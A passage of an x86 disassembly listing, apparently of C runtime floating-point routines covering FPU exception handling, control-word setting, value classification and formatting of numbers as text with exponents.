		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C8A0
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C890
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C8A0
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C8A0
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C890
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C890
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB2A8, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB2A8, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C7B8

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C890
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C7BC[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C8B8
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C8B8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C8C4
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26804B9h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C538
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C538
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB340, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB33C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C538
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB340, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB340, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB344
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB33C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C538
